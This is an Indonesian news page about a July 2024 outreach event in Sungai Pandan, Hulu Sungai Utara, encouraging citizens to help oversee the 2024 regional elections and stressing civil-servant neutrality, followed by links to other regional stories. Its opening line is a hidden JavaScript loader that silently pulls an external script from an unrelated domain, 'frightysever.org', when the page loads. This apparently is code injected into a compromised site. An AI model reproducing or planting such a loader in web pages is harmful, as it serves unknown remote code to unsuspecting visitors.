(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pengawasan Partisipatif Masyarakat Pilkada 2024, Mata dan Telinga Laporkan Dugaan Pelanggaran


KANALKALIMANTAN.COM, AMUNTAI – Pengawasan partisipatif masyarakat menjadi salah satu faktor terwujudnya proses Pemilihan Kepala Daerah (Pilkada) yang demokratis, bersih, dan akuntabel.

Hal itu disampaikan pegiat Pemilu Khairil saat menjadi narasumber dosialisasi Pengawasan Partisipatif pada Pilkada 2024 yang diselenggarakan oleh Panitia Pengawas Kecamatan (Panawascam) Sungai Pandan, di gedung H Jaferi Umar, Desa Sungai Pandan Tengah Kecamatan Sungai Pandan, Sabtu (27/7/2024).

“Berbagai upaya perlu dilakukan seperti pendidikan, forum, kerja sama dengan kampus, komunitas digital, dan kelompok masyarakat. Yang bertujuan mendekatkan berbagai kelompok masyarakat dengan pengawas Pemilu, serta meningkatkan kesadaran dan kemampuan pengawasan,” kata Komisioner Bawaslu HSU 2017-2022 ini.

Baca juga: Bermalam di IKN, Jokowi Mengaku Tak Tidur Nyenyak

Dia mengharapkan ada sarana penunjang seperti Pojok Pengawasan di setiap kelurahan desa dan di tempat-tempat pelayanan publik.

“Semua tahapan Pilkada perlu diawasi memastikan berjalan, sesuai aturan demi terwujudnya Pilkada yang berintegritas,” kata Khiril.

Sementara Pelakana Tugas Kasubsi Ekonomi dan Pembangunan Strategis Kejaksaan Negeri Kabupaten Hulu Sungai Utara (HSU) Rahmanda Bayu Sulistia menyampaikan Netralitas Asparatur Sipil Negara (ASN) mengimplikasikan bahwa ASN harus fokus pada peningkatan integritas dan profesionalitas.

Baca juga: Peserta Sekolah Gratis Bekam Jalani Magang di Pondok Herba

“Menjaga marwah, ASN tidak boleh terpengaruh pada kepentingan orang perorangan atau kelompok tertentu sebagai pengayom masyarakat, dan ASN tidak terpengaruh sirkulasi kekuasaan politik,” ujar Rahmanda.

Ketua Panwascam Sungai Pandan Wahyuni mengatakan, sosialisasi ini dilaksanakan untuk memberikan pemahaman kepada unsur masyarakat mengenai pengawasan.

“Kami ingin meningkatkan partisipasi masyarakat dalam mengawasi Pilkada 2024 dan mendorong untuk menjadi mata dan telinga Bawaslu dengan memberikan informasi atau melaporkan dugaan pelanggaran Pilkada,” kata Wahyuni.

Baca juga: Mutasi Jabatan di Polda Kalsel, Kapolres Batola dan Tabalong Berganti

Kegiatan sosilalisasi pengawasan partisipatif diikuti 44 peserta dari Pemerintah Kecamatan Sungai Pandan beserta unsur Muspika, pimpinan lintas sektor, organisasi kemasyarakatn, organisasi keagaamaan, dan organisasi kempemudaan.(Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Muhammad Andi

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

3 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

3 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

3 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

4 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

18 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

1 hari ago

This website uses cookies.